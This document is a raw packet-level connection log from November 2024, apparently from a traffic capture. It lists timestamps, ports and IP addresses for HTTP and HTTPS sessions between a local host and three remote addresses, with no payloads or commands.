Nov 25, 2024 07:09:51.737375021 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.737416029 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.744472027 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.744575024 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.744577885 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.744714975 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.771832943 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.771899939 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.844278097 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.844372034 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.845937967 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.846038103 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.846046925 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.846157074 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.854285002 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.854338884 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.854373932 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.854424953 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.862658978 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.862756968 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.862777948 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.862843990 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.871057987 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.871119022 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.871154070 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.871202946 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.879477978 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.879542112 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.879600048 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.879648924 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.887795925 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.887861967 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.887892008 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.887955904 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.896189928 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.896251917 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.896292925 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.896337032 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.904560089 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.904609919 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.904675007 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.904721022 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.913075924 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.913089991 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.913142920 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.921335936 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.921392918 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.921442986 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.921490908 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.929718971 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.929780960 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.929811001 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.929867983 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.938102007 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.938158035 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.938219070 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.938262939 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.946465969 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.946518898 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.964025974 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.964076996 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.966109037 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.966156960 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.966272116 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.966317892 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.974522114 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.974598885 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.974627018 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.974673986 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.982873917 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.982933998 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.982986927 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.983036041 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.991663933 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.991777897 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.991796017 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.991837025 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.999943018 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.000013113 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.000103951 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.000149012 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.007069111 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.007083893 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.007222891 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.013919115 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.013932943 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.013983011 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.014008045 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.020833969 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.020844936 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.020894051 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.027893066 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.027947903 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.028084040 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.028126001 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.034358978 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.034420013 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.034451008 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.034502029 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.040967941 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.041019917 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.041055918 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.041110992 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.047240019 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.047303915 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.047350883 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.047399998 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.054677010 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.054691076 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.054923058 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.058231115 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.058243036 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.058281898 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.062829018 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.062899113 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.063003063 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.063086033 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.067527056 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.067576885 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.067692995 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.067739964 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.072464943 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.072513103 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.072640896 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.072793007 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.077146053 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.077157974 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.077240944 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.081676006 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.081736088 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.081850052 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.081891060 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.086381912 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.086548090 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.086564064 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.086611032 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.090672016 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.090719938 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.090732098 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.090779066 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.095611095 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.095659971 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.095748901 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.095799923 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.098978043 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.098992109 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.099050045 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.102035999 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.102049112 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.102447033 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.105248928 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.105262041 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.105310917 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.108256102 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.108270884 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.108324051 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.108355999 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.111346960 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.111361027 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.111411095 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.111427069 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.114413977 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.114583969 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.114609957 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.114634991 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.117548943 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.117732048 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.117774010 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.117815018 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.120630026 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.120644093 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.120968103 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.123696089 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.123789072 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.123855114 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.124102116 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.126837969 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.126910925 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.127026081 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.127074957 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.129522085 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.129573107 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.129647970 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.129688978 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.133584023 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.133599043 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.133634090 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.133646965 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.136178970 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.136353970 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.136414051 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.139379025 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.139395952 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.139446974 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.142416954 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.142465115 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.142592907 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.142643929 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.145339966 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.145400047 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.145509005 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.145561934 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.148677111 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.148689032 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.148730040 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.151740074 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.151751995 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.151782990 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.151794910 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.154747963 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.154803038 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.154895067 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.154952049 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.157820940 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.157871962 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.157994986 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.158041954 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.161017895 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.161052942 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.161103964 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.163919926 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.163985968 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.164084911 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.164129972 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.166529894 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.166594028 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.166623116 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.166665077 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.171200037 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.171214104 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.171267033 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.172993898 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.173005104 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.173074007 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.175952911 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.176024914 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.176107883 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.176150084 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.178983927 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.178997040 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.179050922 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.181813002 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.181874037 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.181981087 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.182029963 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.184797049 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.184811115 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.184858084 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.187633038 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.187804937 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.187891006 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.190491915 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.190505028 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.190617085 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.193111897 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.193233967 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.193272114 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.193458080 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.195990086 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.196002007 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.196055889 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.198451042 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.198512077 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.198745966 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.198885918 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.201163054 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.201215982 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.201349020 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.201395988 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.203836918 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.203850031 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.204930067 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.205760002 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:52.205815077 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:52.958642960 CET	49808	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:09:53.078186989 CET	80	49808	132.226.8.169	192.168.2.6
Nov 25, 2024 07:09:53.078318119 CET	49808	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:09:53.078775883 CET	49808	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:09:53.198179007 CET	80	49808	132.226.8.169	192.168.2.6
Nov 25, 2024 07:09:54.536580086 CET	80	49808	132.226.8.169	192.168.2.6
Nov 25, 2024 07:09:54.549007893 CET	49808	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:09:54.668438911 CET	80	49808	132.226.8.169	192.168.2.6
Nov 25, 2024 07:09:55.056010008 CET	80	49808	132.226.8.169	192.168.2.6
Nov 25, 2024 07:09:55.095979929 CET	49808	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:09:55.525746107 CET	49815	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:09:55.525796890 CET	443	49815	172.67.177.134	192.168.2.6
Nov 25, 2024 07:09:55.525893927 CET	49815	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:09:55.542853117 CET	49815	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:09:55.542882919 CET	443	49815	172.67.177.134	192.168.2.6
Nov 25, 2024 07:09:56.770319939 CET	443	49815	172.67.177.134	192.168.2.6
Nov 25, 2024 07:09:56.770409107 CET	49815	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:09:56.775199890 CET	49815	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:09:56.775207043 CET	443	49815	172.67.177.134	192.168.2.6
Nov 25, 2024 07:09:56.775604010 CET	443	49815	172.67.177.134	192.168.2.6
Nov 25, 2024 07:09:56.828228951 CET	49815	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:09:56.871341944 CET	443	49815	172.67.177.134	192.168.2.6
Nov 25, 2024 07:09:57.209762096 CET	443	49815	172.67.177.134	192.168.2.6
Nov 25, 2024 07:09:57.209923983 CET	443	49815	172.67.177.134	192.168.2.6
Nov 25, 2024 07:09:57.210042000 CET	49815	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:09:57.219996929 CET	49815	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:09:57.234265089 CET	49808	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:09:57.353816032 CET	80	49808	132.226.8.169	192.168.2.6
Nov 25, 2024 07:09:57.739171028 CET	80	49808	132.226.8.169	192.168.2.6
Nov 25, 2024 07:09:57.746447086 CET	49821	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:09:57.746476889 CET	443	49821	172.67.177.134	192.168.2.6
Nov 25, 2024 07:09:57.749058008 CET	49821	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:09:57.749434948 CET	49821	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:09:57.749447107 CET	443	49821	172.67.177.134	192.168.2.6
Nov 25, 2024 07:09:57.783586979 CET	49808	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:09:59.058844090 CET	443	49821	172.67.177.134	192.168.2.6
Nov 25, 2024 07:09:59.061567068 CET	49821	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:09:59.061587095 CET	443	49821	172.67.177.134	192.168.2.6
Nov 25, 2024 07:09:59.525197029 CET	443	49821	172.67.177.134	192.168.2.6
Nov 25, 2024 07:09:59.525342941 CET	443	49821	172.67.177.134	192.168.2.6
Nov 25, 2024 07:09:59.525556087 CET	49821	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:09:59.525914907 CET	49821	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:09:59.529634953 CET	49808	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:09:59.530951023 CET	49826	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:09:59.649492025 CET	80	49808	132.226.8.169	192.168.2.6
Nov 25, 2024 07:09:59.649585962 CET	49808	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:09:59.650428057 CET	80	49826	132.226.8.169	192.168.2.6
Nov 25, 2024 07:09:59.650507927 CET	49826	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:09:59.650675058 CET	49826	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:09:59.770121098 CET	80	49826	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:02.392956972 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:10:02.393028975 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:10:04.754462004 CET	80	49826	132.226.8.169	192.168.2.6
Nov 25, 2024 07:10:04.755840063 CET	49838	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:04.755876064 CET	443	49838	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:04.756011009 CET	49838	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:04.756304979 CET	49838	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:04.756314993 CET	443	49838	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:04.799293041 CET	49826	80	192.168.2.6	132.226.8.169
Nov 25, 2024 07:10:05.967865944 CET	443	49838	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:05.970580101 CET	49838	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:05.970597029 CET	443	49838	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:06.599773884 CET	443	49838	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:06.599836111 CET	443	49838	172.67.177.134	192.168.2.6
Nov 25, 2024 07:10:06.599953890 CET	49838	443	192.168.2.6	172.67.177.134
Nov 25, 2024 07:10:06.600867033 CET	49838	443	192.168.2.6	172.67.177.134
